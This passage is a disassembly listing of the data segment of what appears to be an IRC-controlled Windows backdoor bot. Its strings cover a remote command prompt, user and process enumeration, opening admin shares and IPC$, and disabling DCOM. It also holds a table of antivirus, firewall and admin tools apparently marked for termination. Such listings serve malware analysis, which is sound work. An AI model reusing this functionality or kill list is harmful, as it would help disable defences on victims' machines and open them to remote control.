XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_43932C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 10h unk_439360 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 4 dword_439668 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439694 db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396C0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397C8 dd offset dword_4397BC dd offset dword_4397B0 dd offset dword_4397A4 dd offset dword_439798 dd offset dword_43978C dd offset dword_43977C dd offset dword_439770 dd offset dword_439764 dd offset dword_439758 dd offset dword_43974C dd offset dword_43973C dd offset dword_439730 dd offset dword_439720 dword_439720 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:0043971Co dword_439730 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o dword_43973C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439714o dword_43974C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439710o dword_439758 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co dword_439764 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o dword_439770 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o dword_43977C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439700o dword_43978C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:004396FCo dword_439798 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:004396F8o dword_4397A4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396F4o dword_4397B0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F0o dword_4397BC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396ECo dword_4397C8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396E8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396DCo align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396D8o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396D4o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D0o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396CCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396C8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396C4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 4 unk_439878 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43989C db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_4398C0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_4398F0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439948 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_439978 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399AC db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_4399D0 dd offset dword_439A08 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao dd 0 dd offset dword_439A00 align 10h off_4399E0 dd offset dword_4399FC ; DATA XREF: sub_41A19D+1E3o dd offset dword_4399F8 dd offset dword_4399F4 dd offset dword_4399F0 dword_4399F0 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:004399ECo dword_4399F4 dd 2444h ; DATA XREF: ___:004399E8o dword_4399F8 dd 5C3A43h ; DATA XREF: ___:004399E4o dword_4399FC dd 2443h ; DATA XREF: ___:off_4399E0o dword_439A00 dd 494D4441h, 244Eh ; DATA XREF: ___:004399D8o dword_439A08 dd 24435049h, 0 ; DATA XREF: ___:off_4399D0o dword_439A10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439A68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439A94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439AB8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439AE4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439B08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439B74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439BA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 4 dword_439BF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C28 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 4 dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439CD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439CF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D2C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DA4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_439E18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A030 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A10C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 10h dword_43A140 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A184 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A188 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A18C dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A194 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1A4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dword_43A200 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A21C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A258 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A274 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo dword_43A280 dd 5E898CDFh ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A2E8 dd offset dword_43A2E8 dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o ; ___:0043A2DCo off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C302 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C2F8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C788 dd 14h ; DATA XREF: sub_421624+2o off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C940 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch dd 0FFh, 427960h off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5A0 dd 101h dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; 